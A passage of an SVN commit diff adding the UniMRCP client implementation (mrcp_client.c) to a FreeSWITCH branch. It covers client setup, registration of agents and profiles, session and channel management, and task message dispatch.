+	client->sig_agent_table = NULL;
+	client->cnt_agent_table = NULL;
+	client->profile_table = NULL;
+	client->app_table = NULL;
+	client->session_table = NULL;
+	client->cnt_msg_pool = NULL;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(0,pool);
+	client->task = apt_consumer_task_create(client,msg_pool,pool);
+	if(!client->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Client Task");
+		return NULL;
+	}
+	task = apt_consumer_task_base_get(client->task);
+	apt_task_name_set(task,CLIENT_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = mrcp_client_msg_process;
+		vtable->on_start_complete = mrcp_client_on_start_complete;
+		vtable->on_terminate_complete = mrcp_client_on_terminate_complete;
+	}
+
+	client->media_engine_table = apr_hash_make(client->pool);
+	client->rtp_factory_table = apr_hash_make(client->pool);
+	client->sig_agent_table = apr_hash_make(client->pool);
+	client->cnt_agent_table = apr_hash_make(client->pool);
+	client->profile_table = apr_hash_make(client->pool);
+	client->app_table = apr_hash_make(client->pool);
+	
+	client->session_table = apr_hash_make(client->pool);
+	return client;
+}
+
+/** Start message processing loop */
+MRCP_DECLARE(apt_bool_t) mrcp_client_start(mrcp_client_t *client)
+{
+	apt_task_t *task;
+	if(!client || !client->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Client");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(client->task);
+	if(apt_task_start(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Client Task");
+		return FALSE;
+	}
+	return TRUE;
+}
+
+/** Shutdown message processing loop */
+MRCP_DECLARE(apt_bool_t) mrcp_client_shutdown(mrcp_client_t *client)
+{
+	apt_task_t *task;
+	if(!client || !client->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Client");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(client->task);
+	if(apt_task_terminate(task,TRUE) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Shutdown Client Task");
+		return FALSE;
+	}
+	client->session_table = NULL;
+	return TRUE;
+}
+
+/** Destroy MRCP client */
+MRCP_DECLARE(apt_bool_t) mrcp_client_destroy(mrcp_client_t *client)
+{
+	apt_task_t *task;
+	if(!client || !client->task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Invalid Client");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(client->task);
+	apt_task_destroy(task);
+
+	apr_pool_destroy(client->pool);
+	return TRUE;
+}
+
+
+/** Register MRCP resource factory */
+MRCP_DECLARE(apt_bool_t) mrcp_client_resource_factory_register(mrcp_client_t *client, mrcp_resource_factory_t *resource_factory)
+{
+	if(!resource_factory) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Resource Factory");
+	client->resource_factory = resource_factory;
+	return TRUE;
+}
+
+/** Register codec manager */
+MRCP_DECLARE(apt_bool_t) mrcp_client_codec_manager_register(mrcp_client_t *client, mpf_codec_manager_t *codec_manager)
+{
+	if(!codec_manager) {
+		return FALSE;
+	}
+	client->codec_manager = codec_manager;
+	return TRUE;
+}
+
+/** Get registered codec manager */
+MRCP_DECLARE(const mpf_codec_manager_t*) mrcp_client_codec_manager_get(mrcp_client_t *client)
+{
+	return client->codec_manager;
+}
+
+/** Register media engine */
+MRCP_DECLARE(apt_bool_t) mrcp_client_media_engine_register(mrcp_client_t *client, mpf_engine_t *media_engine, const char *name)
+{
+	if(!media_engine || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Media Engine [%s]",name);
+	mpf_engine_codec_manager_register(media_engine,client->codec_manager);
+	apr_hash_set(client->media_engine_table,name,APR_HASH_KEY_STRING,media_engine);
+	mpf_engine_task_msg_type_set(media_engine,MRCP_CLIENT_MEDIA_TASK_MSG);
+	if(client->task) {
+		apt_task_t *media_task = mpf_task_get(media_engine);
+		apt_task_t *task = apt_consumer_task_base_get(client->task);
+		apt_task_add(task,media_task);
+	}
+	return TRUE;
+}
+
+/** Get media engine by name */
+MRCP_DECLARE(mpf_engine_t*) mrcp_client_media_engine_get(mrcp_client_t *client, const char *name)
+{
+	return apr_hash_get(client->media_engine_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register RTP termination factory */
+MRCP_DECLARE(apt_bool_t) mrcp_client_rtp_factory_register(mrcp_client_t *client, mpf_termination_factory_t *rtp_termination_factory, const char *name)
+{
+	if(!rtp_termination_factory || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register RTP Termination Factory [%s]",name);
+	apr_hash_set(client->rtp_factory_table,name,APR_HASH_KEY_STRING,rtp_termination_factory);
+	return TRUE;
+}
+
+/** Get RTP termination factory by name */
+MRCP_DECLARE(mpf_termination_factory_t*) mrcp_client_rtp_factory_get(mrcp_client_t *client, const char *name)
+{
+	return apr_hash_get(client->rtp_factory_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register MRCP signaling agent */
+MRCP_DECLARE(apt_bool_t) mrcp_client_signaling_agent_register(mrcp_client_t *client, mrcp_sig_agent_t *signaling_agent, const char *name)
+{
+	if(!signaling_agent || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Signaling Agent [%s]",name);
+	signaling_agent->msg_pool = apt_task_msg_pool_create_dynamic(sizeof(sig_agent_task_msg_data_t),client->pool);
+	signaling_agent->parent = client;
+	signaling_agent->resource_factory = client->resource_factory;
+	apr_hash_set(client->sig_agent_table,name,APR_HASH_KEY_STRING,signaling_agent);
+	if(client->task) {
+		apt_task_t *task = apt_consumer_task_base_get(client->task);
+		apt_task_add(task,signaling_agent->task);
+	}
+	return TRUE;
+}
+
+/** Get signaling agent by name */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_client_signaling_agent_get(mrcp_client_t *client, const char *name)
+{
+	return apr_hash_get(client->sig_agent_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register MRCP connection agent (MRCPv2 only) */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_register(mrcp_client_t *client, mrcp_connection_agent_t *connection_agent, const char *name)
+{
+	if(!connection_agent || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Connection Agent [%s]",name);
+	mrcp_client_connection_resource_factory_set(connection_agent,client->resource_factory);
+	mrcp_client_connection_agent_handler_set(connection_agent,client,&connection_method_vtable);
+	client->cnt_msg_pool = apt_task_msg_pool_create_dynamic(sizeof(connection_agent_task_msg_data_t),client->pool);
+	apr_hash_set(client->cnt_agent_table,name,APR_HASH_KEY_STRING,connection_agent);
+	if(client->task) {
+		apt_task_t *task = apt_consumer_task_base_get(client->task);
+		apt_task_t *connection_task = mrcp_client_connection_agent_task_get(connection_agent);
+		apt_task_add(task,connection_task);
+	}
+	return TRUE;
+}
+
+/** Get connection agent by name */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_client_connection_agent_get(mrcp_client_t *client, const char *name)
+{
+	return apr_hash_get(client->cnt_agent_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Create MRCP profile */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_client_profile_create(
+									mrcp_resource_factory_t *resource_factory,
+									mrcp_sig_agent_t *signaling_agent,
+									mrcp_connection_agent_t *connection_agent,
+									mpf_engine_t *media_engine,
+									mpf_termination_factory_t *rtp_factory,
+									apr_pool_t *pool)
+{
+	mrcp_profile_t *profile = apr_palloc(pool,sizeof(mrcp_profile_t));
+	profile->resource_factory = resource_factory;
+	profile->media_engine = media_engine;
+	profile->rtp_termination_factory = rtp_factory;
+	profile->signaling_agent = signaling_agent;
+	profile->connection_agent = connection_agent;
+	return profile;
+}
+
+/** Register MRCP profile */
+MRCP_DECLARE(apt_bool_t) mrcp_client_profile_register(mrcp_client_t *client, mrcp_profile_t *profile, const char *name)
+{
+	if(!profile || !name) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile: no name",name);
+		return FALSE;
+	}
+	if(!profile->resource_factory) {
+		profile->resource_factory = client->resource_factory;
+	}
+	if(!profile->signaling_agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing signaling agent",name);
+		return FALSE;
+	}
+	if(profile->signaling_agent->mrcp_version == MRCP_VERSION_2 &&
+		!profile->connection_agent) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Profile [%s]: missing connection agent",name);
+		return FALSE;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Profile [%s]",name);
+	apr_hash_set(client->profile_table,name,APR_HASH_KEY_STRING,profile);
+	return TRUE;
+}
+
+/** Get profile by name */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_client_profile_get(mrcp_client_t *client, const char *name)
+{
+	return apr_hash_get(client->profile_table,name,APR_HASH_KEY_STRING);
+}
+
+/** Register MRCP application */
+MRCP_DECLARE(apt_bool_t) mrcp_client_application_register(mrcp_client_t *client, mrcp_application_t *application, const char *name)
+{
+	if(!application || !name) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Register Application [%s]",name);
+	application->client = client;
+	application->msg_pool = apt_task_msg_pool_create_dynamic(sizeof(mrcp_app_message_t*),client->pool);
+	apr_hash_set(client->app_table,name,APR_HASH_KEY_STRING,application);
+	return TRUE;
+}
+
+/** Get memory pool */
+MRCP_DECLARE(apr_pool_t*) mrcp_client_memory_pool_get(mrcp_client_t *client)
+{
+	return client->pool;
+}
+
+
+/** Create application instance */
+MRCP_DECLARE(mrcp_application_t*) mrcp_application_create(const mrcp_app_message_handler_f handler, void *obj, apr_pool_t *pool)
+{
+	mrcp_application_t *application;
+	if(!handler) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Application");
+	application = apr_palloc(pool,sizeof(mrcp_application_t));
+	application->obj = obj;
+	application->handler = handler;
+	application->client = NULL;
+	return application;
+}
+
+/** Destroy application instance */
+MRCP_DECLARE(apt_bool_t) mrcp_application_destroy(mrcp_application_t *application)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Application");
+	return TRUE;
+}
+
+/** Get external object associated with the application */
+MRCP_DECLARE(void*) mrcp_application_object_get(mrcp_application_t *application)
+{
+	return application->obj;
+}
+
+/** Get dir layout structure */
+MRCP_DECLARE(const apt_dir_layout_t*) mrcp_application_dir_layout_get(mrcp_application_t *application)
+{
+	return application->client->dir_layout;
+}
+
+
+
+/** Create client session */
+MRCP_DECLARE(mrcp_session_t*) mrcp_application_session_create(mrcp_application_t *application, const char *profile_name, void *obj)
+{
+	mrcp_profile_t *profile;
+	mrcp_client_session_t *session;
+	if(!application || !application->client) {
+		return NULL;
+	}
+
+	profile = mrcp_client_profile_get(application->client,profile_name);
+	if(!profile) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such Profile [%s]",profile_name);
+		return NULL;
+	}
+
+	session = mrcp_client_session_create(application,obj);
+	if(!session) {
+		return NULL;
+	}
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create MRCP Handle "APT_PTR_FMT" [%s]",
+		MRCP_SESSION_PTR(session),
+		profile_name);
+	session->profile = profile;
+	session->codec_manager = application->client->codec_manager;
+	session->base.response_vtable = &session_response_vtable;
+	session->base.event_vtable = &session_event_vtable;
+	return &session->base;
+}
+
+/** Get external object associated with the session */
+MRCP_DECLARE(void*) mrcp_application_session_object_get(mrcp_session_t *session)
+{
+	mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+	if(!client_session) {
+		return NULL;
+	}
+	return client_session->app_obj;
+}
+
+
+/** Send session update request */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_update(mrcp_session_t *session)
+{
+	if(!session) {
+		return FALSE;
+	}
+	return mrcp_app_signaling_task_msg_signal(MRCP_SIG_COMMAND_SESSION_UPDATE,session,NULL);
+}
+
+/** Send session termination request */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_terminate(mrcp_session_t *session)
+{
+	if(!session) {
+		return FALSE;
+	}
+	return mrcp_app_signaling_task_msg_signal(MRCP_SIG_COMMAND_SESSION_TERMINATE,session,NULL);
+}
+
+/** Destroy client session (session must be terminated prior to destroy) */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_destroy(mrcp_session_t *session)
+{
+	if(!session) {
+		return FALSE;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy MRCP Handle "APT_PTR_FMT,MRCP_SESSION_PTR(session));
+	mrcp_session_destroy(session);
+	return TRUE;
+}
+
+
+/** Create control channel */
+MRCP_DECLARE(mrcp_channel_t*) mrcp_application_channel_create(
+									mrcp_session_t *session, 
+									mrcp_resource_id resource_id, 
+									mpf_termination_t *termination, 
+									mpf_rtp_termination_descriptor_t *rtp_descriptor, 
+									void *obj)
+{
+	mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+	if(!client_session || !client_session->profile) {
+		/* Invalid params */
+		return FALSE;
+	}
+	if(termination) {
+		/* Media engine and RTP factory must be specified in this case */
+		if(!client_session->profile->media_engine || !client_session->profile->rtp_termination_factory) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Channel: invalid profile");
+			return FALSE;
+		}
+	}
+	else {
+		/* Either termination or rtp_descriptor must be specified */
+		if(!rtp_descriptor) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Channel: missing both termination and RTP descriptor");
+			return FALSE;
+		}
+	}
+	return mrcp_client_channel_create(session,resource_id,termination,rtp_descriptor,obj);
+}
+
+/** Get external object associated with the channel */
+MRCP_DECLARE(void*) mrcp_application_channel_object_get(mrcp_channel_t *channel)
+{
+	if(!channel) {
+		return FALSE;
+	}
+	return channel->obj;
+}
+
+/** Get RTP termination descriptor */
+MRCP_DECLARE(mpf_rtp_termination_descriptor_t*) mrcp_application_rtp_descriptor_get(mrcp_channel_t *channel)
+{
+	if(!channel || !channel->rtp_termination_slot) {
+		return FALSE;
+	}
+	return channel->rtp_termination_slot->descriptor;
+}
+
+/** Send channel add request */
+MRCP_DECLARE(apt_bool_t) mrcp_application_channel_add(mrcp_session_t *session, mrcp_channel_t *channel)
+{
+	if(!session || !channel) {
+		return FALSE;
+	}
+	return mrcp_app_signaling_task_msg_signal(MRCP_SIG_COMMAND_CHANNEL_ADD,session,channel);
+}
+
+/** Send channel removal request */
+MRCP_DECLARE(apt_bool_t) mrcp_application_channel_remove(mrcp_session_t *session, mrcp_channel_t *channel)
+{
+	if(!session || !channel) {
+		return FALSE;
+	}
+	return mrcp_app_signaling_task_msg_signal(MRCP_SIG_COMMAND_CHANNEL_REMOVE,session,channel);
+}
+
+/** Send resource discovery request */
+MRCP_DECLARE(apt_bool_t) mrcp_application_resource_discover(mrcp_session_t *session)
+{
+	if(!session) {
+		return FALSE;
+	}
+	return mrcp_app_signaling_task_msg_signal(MRCP_SIG_COMMAND_RESOURCE_DISCOVER,session,NULL);
+}
+
+/** Create MRCP message */
+MRCP_DECLARE(mrcp_message_t*) mrcp_application_message_create(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_method_id method_id)
+{
+	mrcp_message_t *mrcp_message;
+	mrcp_profile_t *profile;
+	mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+	if(!client_session || !channel) {
+		return NULL;
+	}
+	profile = client_session->profile;
+	if(!profile || !profile->resource_factory) {
+		return NULL;
+	}
+	mrcp_message = mrcp_request_create(channel->resource_id,method_id,session->pool);
+	if(mrcp_message) {
+		mrcp_message->start_line.version = profile->signaling_agent->mrcp_version;
+		mrcp_message_resourcify_by_id(profile->resource_factory,mrcp_message);
+	}
+	return mrcp_message;
+}
+
+/** Send MRCP message */
+MRCP_DECLARE(apt_bool_t) mrcp_application_message_send(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(!session || !channel || !message) {
+		return FALSE;
+	}
+	return mrcp_app_control_task_msg_signal(session,channel,message);
+}
+
+/** Create source media termination */
+MRCP_DECLARE(mpf_termination_t*) mrcp_application_source_termination_create(
+										mrcp_session_t *session,
+										const mpf_audio_stream_vtable_t *stream_vtable,
+										mpf_codec_descriptor_t *codec_descriptor,
+										void *obj)
+{
+	mpf_audio_stream_t *audio_stream;
+	/* create audio stream */
+	audio_stream = mpf_audio_stream_create(
+			obj,                  /* object to associate */
+			stream_vtable,        /* virtual methods table of audio stream */
+			STREAM_MODE_RECEIVE,  /* stream mode/direction */
+			session->pool);       /* memory pool to allocate memory from */
+
+	if(codec_descriptor) {
+		mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+		audio_stream->rx_codec = mpf_codec_manager_codec_get(client_session->codec_manager,codec_descriptor,session->pool);
+	}
+
+	/* create raw termination */
+	return mpf_raw_termination_create(
+			NULL,                 /* no object to associate */
+			audio_stream,         /* audio stream */
+			NULL,                 /* no video stream */
+			session->pool);       /* memory pool to allocate memory from */
+}
+
+MRCP_DECLARE(mpf_termination_t*) mrcp_application_sink_termination_create(
+										mrcp_session_t *session,
+										const mpf_audio_stream_vtable_t *stream_vtable,
+										mpf_codec_descriptor_t *codec_descriptor,
+										void *obj)
+{
+	mpf_audio_stream_t *audio_stream;
+	/* create audio stream */
+	audio_stream = mpf_audio_stream_create(
+			obj,                  /* object to associate */
+			stream_vtable,        /* virtual methods table of audio stream */
+			STREAM_MODE_SEND,     /* stream mode/direction */
+			session->pool);       /* memory pool to allocate memory from */
+
+	if(codec_descriptor) {
+		mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+		audio_stream->tx_codec = mpf_codec_manager_codec_get(client_session->codec_manager,codec_descriptor,session->pool);
+	}
+
+	/* create raw termination */
+	return mpf_raw_termination_create(
+			NULL,                 /* no object to associate */
+			audio_stream,         /* audio stream */
+			NULL,                 /* no video stream */
+			session->pool);       /* memory pool to allocate memory from */
+}
+
+void mrcp_client_session_add(mrcp_client_t *client, mrcp_client_session_t *session)
+{
+	if(session) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add MRCP Handle "APT_PTR_FMT,MRCP_SESSION_PTR(session));
+		apr_hash_set(client->session_table,session,sizeof(session),session);
+	}
+}
+
+void mrcp_client_session_remove(mrcp_client_t *client, mrcp_client_session_t *session)
+{
+	if(session) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Remove MRCP Handle "APT_PTR_FMT,MRCP_SESSION_PTR(session));
+		apr_hash_set(client->session_table,session,sizeof(session),NULL);
+	}
+}
+
+static void mrcp_client_on_start_complete(apt_task_t *task)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_client_t *client = apt_consumer_task_object_get(consumer_task);
+	void *val;
+	mrcp_application_t *application;
+	mrcp_app_message_t *app_message;
+	apr_hash_index_t *it;
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,CLIENT_TASK_NAME" Started");
+	it = apr_hash_first(client->pool,client->app_table);
+	for(; it; it = apr_hash_next(it)) {
+		apr_hash_this(it,NULL,NULL,&val);
+		application = val;
+		if(!application) continue;
+
+		/* raise one-time application-ready event */
+		app_message = mrcp_client_app_signaling_event_create(MRCP_SIG_EVENT_READY,client->pool);
+		app_message->sig_message.status = MRCP_SIG_STATUS_CODE_SUCCESS;
+		app_message->application = application;
+		application->handler(app_message);
+	}
+}
+
+static void mrcp_client_on_terminate_complete(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,CLIENT_TASK_NAME" Terminated");
+}
+
+
+static apt_bool_t mrcp_client_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	apt_consumer_task_t *consumer_task = apt_task_object_get(task);
+	mrcp_client_t *client = apt_consumer_task_object_get(consumer_task);
+	if(!client) {
+		return FALSE;
+	}
+	switch(msg->type) {
+		case MRCP_CLIENT_SIGNALING_TASK_MSG:
+		{
+			const sig_agent_task_msg_data_t *sig_message = (const sig_agent_task_msg_data_t*)msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Signaling Task Message [%d]", msg->sub_type);
+			switch(msg->sub_type) {
+				case SIG_AGENT_TASK_MSG_ANSWER:
+					mrcp_client_session_answer_process(sig_message->session,sig_message->descriptor);
+					break;
+				case SIG_AGENT_TASK_MSG_TERMINATE_RESPONSE:
+					mrcp_client_session_terminate_response_process(sig_message->session);
+					break;
+				case SIG_AGENT_TASK_MSG_CONTROL_RESPONSE:
+					mrcp_client_session_control_response_process(sig_message->session,sig_message->message);
+					break;
+				case SIG_AGENT_TASK_MSG_DISCOVER_RESPONSE:
+					mrcp_client_session_discover_response_process(sig_message->session,sig_message->descriptor);
+					break;
+				case SIG_AGENT_TASK_MSG_TERMINATE_EVENT:
+					mrcp_client_session_terminate_event_process(sig_message->session);
+					break;
+				default:
+					break;
+			}
+			break;
+		}
+		case MRCP_CLIENT_CONNECTION_TASK_MSG:
+		{
+			const connection_agent_task_msg_data_t *data = (const connection_agent_task_msg_data_t*)msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Connection Task Message [%d]", msg->sub_type);
+			switch(msg->sub_type) {
+				case CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL:
+					mrcp_client_on_channel_add(data->channel,data->descriptor,data->status);
+					break;
+				case CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL:
+					mrcp_client_on_channel_modify(data->channel,data->descriptor,data->status);
+					break;
+				case CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL:
+					mrcp_client_on_channel_remove(data->channel,data->status);
+					break;
+				case CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE:
+					mrcp_client_on_message_receive(data->channel,data->message);
+					break;
+				default:
+					break;
+			}
+			break;
+		}
+		case MRCP_CLIENT_MEDIA_TASK_MSG:
+		{
+			mpf_message_t *mpf_message = (mpf_message_t*) msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Media Task Message [%d]", mpf_message->command_id);
+			mrcp_client_mpf_message_process(mpf_message);
+			break;
+		}
+		case MRCP_CLIENT_APPLICATION_TASK_MSG:
+		{
+			mrcp_app_message_t **app_message = (mrcp_app_message_t**) msg->data;
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Receive Application Task Message [%d]", (*app_message)->message_type);
+			mrcp_client_app_message_process(*app_message);
+			break;
+		}
+		default:
+		{
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Receive Unknown Task Message [%d]", msg->type);
+			break;
+		}
+	}
+	return TRUE;
+}
+
+static apt_bool_t mrcp_app_signaling_task_msg_signal(mrcp_sig_command_e command_id, mrcp_session_t *session, mrcp_channel_t *channel)
+{
+	mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+	mrcp_application_t *application = client_session->application;
+	apt_task_t *task = apt_consumer_task_base_get(application->client->task);
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(application->msg_pool);
+	if(task_msg) {
+		mrcp_app_message_t **slot = ((mrcp_app_message_t**)task_msg->data);
+		mrcp_app_message_t *app_message;
+		task_msg->type = MRCP_CLIENT_APPLICATION_TASK_MSG;
+
+		app_message = mrcp_client_app_signaling_request_create(command_id,session->pool);
+		app_message->application = client_session->application;
+		app_message->session = session;
+		app_message->channel = channel;
+		app_message->control_message = NULL;
+		app_message->descriptor = NULL;
+		*slot = app_message;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Application Task Message");
+	return apt_task_msg_signal(task,task_msg);
+}
+
+static apt_bool_t mrcp_app_control_task_msg_signal(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	mrcp_client_session_t *client_session = (mrcp_client_session_t*)session;
+	mrcp_application_t *application = client_session->application;
+	apt_task_t *task = apt_consumer_task_base_get(application->client->task);
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(application->msg_pool);
+	if(task_msg) {
+		mrcp_app_message_t **slot = ((mrcp_app_message_t**)task_msg->data);
+		mrcp_app_message_t *app_message;
+		task_msg->type = MRCP_CLIENT_APPLICATION_TASK_MSG;
+
+		app_message = mrcp_client_app_control_message_create(session->pool);
+		app_message->application = client_session->application;
+		app_message->session = session;
+		app_message->channel = channel;
+		app_message->control_message = message;
+		*slot = app_message;
+	}
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Application Task Message");
+	return apt_task_msg_signal(task,task_msg);
+}
+
+static apt_bool_t mrcp_client_signaling_task_msg_signal(sig_agent_task_msg_type_e type, mrcp_session_t *session, mrcp_session_descriptor_t *descriptor, mrcp_message_t *message)
+{
+	sig_agent_task_msg_data_t *data;
+	apt_task_msg_t *task_msg = apt_task_msg_acquire(session->signaling_agent->msg_pool);
+	task_msg->type = MRCP_CLIENT_SIGNALING_TASK_MSG;
+	task_msg->sub_type = type;
+	data = (sig_agent_task_msg_data_t*) task_msg->data;
+	data->session = (mrcp_client_session_t*)session;
+	data->descriptor = descriptor;
+	data->message = message;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Signaling Task Message");
+	return apt_task_msg_parent_signal(session->signaling_agent->task,task_msg);
+}
+
+static apt_bool_t mrcp_client_connection_task_msg_signal(
+							connection_agent_task_msg_type_e type,
+							mrcp_connection_agent_t         *agent, 
+							mrcp_control_channel_t          *channel,
+							mrcp_control_descriptor_t       *descriptor,
+							mrcp_message_t                  *message,
+							apt_bool_t                       status)
+{
+	apt_task_t *task;
+	apt_task_msg_t *task_msg;
+	connection_agent_task_msg_data_t *data;
+	mrcp_client_t *client = mrcp_client_connection_agent_object_get(agent);
+	if(!client || !client->cnt_msg_pool) {
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(client->task);
+	task_msg = apt_task_msg_acquire(client->cnt_msg_pool);
+	task_msg->type = MRCP_CLIENT_CONNECTION_TASK_MSG;
+	task_msg->sub_type = type;
+	data = (connection_agent_task_msg_data_t*) task_msg->data;
+	data->channel = channel ? channel->obj : NULL;
+	data->descriptor = descriptor;
+	data->message = message;
+	data->status = status;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Signal Connection Task Message");
+	return apt_task_msg_signal(task,task_msg);
+}
+
+
+
+static apt_bool_t mrcp_client_answer_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	return mrcp_client_signaling_task_msg_signal(SIG_AGENT_TASK_MSG_ANSWER,session,descriptor,NULL);
+}
+
+static apt_bool_t mrcp_client_terminate_response_signal(mrcp_session_t *session)
+{
+	return mrcp_client_signaling_task_msg_signal(SIG_AGENT_TASK_MSG_TERMINATE_RESPONSE,session,NULL,NULL);
+}
+
+static apt_bool_t mrcp_client_control_response_signal(mrcp_session_t *session, mrcp_message_t *message)
+{
+	return mrcp_client_signaling_task_msg_signal(SIG_AGENT_TASK_MSG_CONTROL_RESPONSE,session,NULL,message);
+}
+
+static apt_bool_t mrcp_client_discover_response_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor)
+{
+	return mrcp_client_signaling_task_msg_signal(SIG_AGENT_TASK_MSG_DISCOVER_RESPONSE,session,descriptor,NULL);
+}
+
+static apt_bool_t mrcp_client_terminate_event_signal(mrcp_session_t *session)
+{
+	return mrcp_client_signaling_task_msg_signal(SIG_AGENT_TASK_MSG_TERMINATE_EVENT,session,NULL,NULL);
+}
+
+
+static apt_bool_t mrcp_client_channel_add_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	return mrcp_client_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL,
+								channel->agent,
+								channel,
+								descriptor,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_client_channel_modify_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status)
+{
+	return mrcp_client_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL,
+								channel->agent,
+								channel,
+								descriptor,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_client_channel_remove_signal(mrcp_control_channel_t *channel, apt_bool_t status)
+{
+	return mrcp_client_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL,
+								channel->agent,
+								channel,
+								NULL,
+								NULL,
+								status);
+}
+
+static apt_bool_t mrcp_client_message_signal(mrcp_control_channel_t *channel, mrcp_message_t *mrcp_message)
+{
+	return mrcp_client_connection_task_msg_signal(
+								CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE,
+								channel->agent,
+								channel,
+								NULL,
+								mrcp_message,
+								TRUE);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client_session.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client_session.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/src/mrcp_client_session.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client_session.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client_session.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1220 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
